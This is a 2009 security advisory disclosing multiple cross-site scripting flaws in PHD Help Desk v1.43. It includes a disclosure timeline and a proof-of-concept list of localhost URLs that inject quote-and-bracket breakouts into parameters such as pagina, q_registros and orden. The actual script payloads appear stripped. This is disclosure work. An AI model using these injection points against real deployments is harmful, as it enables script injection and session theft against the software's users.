################################################################################ Mutliple XSS in PHD Help Desk v1.43 Name Multiple vulnerabilities in PHD Help Dsk Systems Affected PHD Help Desk v1.43 and possibly earlier versions Site http://www.p-hd.com.ar/ Author Amol Naik (amolnaik4[at]gmail.com) Date 16/11/2009 ################################################################################ ############ 1. OVERVIEW ############ PHD Help Desk is the software conceived for the registry and follow up of incidents in the Help Desk or Service Desk in your IT area of their company or organization. ############### 2. DESCRIPTION ############### PHD Help Desk is vulnerable to Multiple cross-site scripting instances. ###################### 3. TECHNICAL DETAILS ###################### Multiple Cross-site Scripting ++++++++++++++++++++++++++++++ Multiple pages found vulnerable to Cross-site Scripting mainly due to improper use of $_SERVER['PHP_SELF'] and lack of sanitization in user inputs. ++++ POC ++++ http://localhost/phd/area.php/'> http://localhost/phd/area.php?pagina='> http://localhost/phd/area.php?sentido='> http://localhost/phd/area.php?q_registros='> http://localhost/phd/area.php?orden='> http://localhost/phd/solic_display.php?pagina=1&q_registros=>&orden=seq_solicitud_id http://localhost/phd/area_list.php/'> http://localhost/phd/area_list.php?orden=nombre&sentido=&pagina=1&q_registros=0'> http://localhost/phd/atributo.php/'> http://localhost/phd/atributo_list.php?pagina=1'>&q_registros=15&orden=activo&sentido= http://localhost/phd/atributo_list.php?pagina=1&q_registros=15'>&orden=activo&sentido= http://localhost/phd/atributo_list.php?pagina=1&q_registros=15&orden=activo'>&sentido= http://localhost/phd/atributo_list.php?pagina=1&q_registros=15&orden=activo&sentido='> http://localhost/phd/caso_insert.php/'> Other pages may be vulnerable as well. ############ 4. TimeLine ############ 05/11/2009 Bug Discovered 05/11/2009 Reported to Vendor 05/11/2009 Vendor agrees to fix this in 2.00 version Response from Vendor: "I forgot to protect the $_GET entries, we are working in the 2.00 version and we will add this sugestion." 16/11/2009 Public Disclosure